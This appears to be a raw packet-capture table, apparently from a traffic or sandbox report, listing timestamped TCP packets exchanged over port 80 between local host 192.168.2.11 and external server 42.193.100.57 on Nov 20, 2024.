Nov 20, 2024 09:14:47.862166882 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.862166882 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.862229109 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.862238884 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.862251043 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.862262964 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.862277985 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.862289906 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.862301111 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.862313032 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.862344027 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.948074102 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.948148966 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.948214054 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.948226929 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.948239088 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.948261976 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.948292017 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.948368073 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.948380947 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.948391914 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.948400974 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.948429108 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.948453903 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.948545933 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.948564053 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.948575974 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.948586941 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.948589087 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.948599100 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.948611975 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.948618889 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.948622942 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.948628902 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.948636055 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.948646069 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.948685884 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.948710918 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.948721886 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.948734045 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.948750973 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.948781013 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.948892117 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.948904037 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.948946953 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.949052095 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.949063063 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.949074030 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.949084044 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.949095011 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.949100018 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.949107885 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.949135065 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.949153900 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.949213982 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.949225903 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.949233055 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.949242115 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.949266911 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.949306965 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.949383020 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.949394941 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.949404955 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.949418068 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.949428082 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.949436903 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.949450970 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.949477911 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.949543953 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.949584007 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.949722052 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.949743986 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.949755907 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.949767113 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.949769974 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.949779034 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.949790001 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.949800014 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.949801922 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.949811935 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.949822903 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.949835062 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.949837923 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.949858904 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.949875116 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.949907064 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.949918985 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.949930906 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.949939013 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.949949980 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.949951887 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.949961901 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.949973106 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.949980974 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.949985027 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.949997902 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.950011015 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.950031042 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.950072050 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.950218916 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.950263977 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.950274944 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.950285912 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.950295925 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.950309992 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.950335026 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.950362921 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.950440884 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.950453043 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.950463057 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.950469017 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.950490952 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.950530052 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.950589895 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.950602055 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.950612068 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.950623989 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.950635910 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.950659990 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.950761080 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.950772047 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.950783968 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.950793982 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.950802088 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.950804949 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.950822115 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.950846910 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.950907946 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.950921059 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.950927019 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.950937033 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.950970888 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.950984001 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.950998068 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.951035976 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.951204062 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.951215982 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.951227903 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.951256037 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.951282978 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.951390028 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.951401949 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.951411963 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.951422930 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.951433897 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.951440096 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.951463938 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.951482058 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.951555014 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.951566935 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.951577902 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.951601982 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.951627970 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.951714993 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.951726913 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.951738119 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.951750040 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.951751947 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.951761007 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.951772928 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.951777935 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.951785088 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.951841116 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.951864958 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.951879025 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.951894999 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.951919079 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.951946974 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.952033997 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.952047110 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.952056885 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.952068090 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.952085018 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.952101946 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.952131033 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.952220917 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.952231884 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.952243090 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.952249050 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.952258110 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.952260017 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.952287912 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.952316046 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.952397108 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.952409029 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.952423096 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.952433109 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.952445984 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.952471972 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.035173893 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.035235882 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.035309076 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.035326004 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.035339117 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.035351038 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.035351038 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.035365105 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.035367966 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.035377979 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.035383940 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.035434008 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.035461903 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.035474062 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.035485029 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.035495996 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.035507917 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.035510063 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.035522938 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.035530090 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.035535097 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.035556078 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.035582066 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.035614014 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.035624981 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.035634995 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.035645962 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.035654068 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.035657883 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.035665989 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.035670042 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.035681963 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.035702944 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.035727978 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.139380932 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.139394045 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.139414072 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.139425993 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.139436960 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.139452934 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.139477968 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.139491081 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.139499903 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.139502048 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.139520884 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.139548063 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.139586926 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.139599085 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.139611006 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.139621973 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.139626980 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.139653921 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.139664888 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.139667034 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.139693975 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.139698982 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.139704943 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.139710903 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.139738083 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.139745951 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.139754057 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.139766932 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.139779091 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.139789104 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.139792919 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.139801979 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.139827967 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.139836073 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.139892101 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.139903069 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.139914036 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.139925003 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.139950991 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.139965057 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.140022993 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.140034914 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.140045881 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.140057087 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.140064955 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.140078068 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.140110970 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.140120983 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.140131950 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.140141964 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.140153885 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.140157938 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.140180111 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.140182018 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.140191078 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.140202999 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.140209913 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.140214920 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.140228987 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.140244007 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.140284061 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.140311956 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.140325069 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.140336037 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.140346050 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.140353918 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.140358925 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.140383959 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.140408993 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.140434027 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.140445948 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.140455961 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.140466928 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.140477896 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.140479088 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.140491962 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.140502930 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.140513897 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.140547991 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.140573978 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.140587091 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.140597105 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.140607119 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.140613079 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.140634060 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.140635014 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.140649080 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.140660048 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.140661955 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.140681982 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.140692949 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.140717030 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.140827894 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.140840054 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.140851021 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.140865088 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.140877008 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.140888929 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.140899897 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.140911102 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.140922070 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.140930891 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.140954018 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.140985966 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.140999079 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.141010046 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.141021013 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.141026974 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.141031981 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.141047001 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.141047955 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.141062975 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.141074896 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.141074896 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.141088009 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.141088009 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.141105890 CET	80	49701	42.193.100.57	192.168.2.11
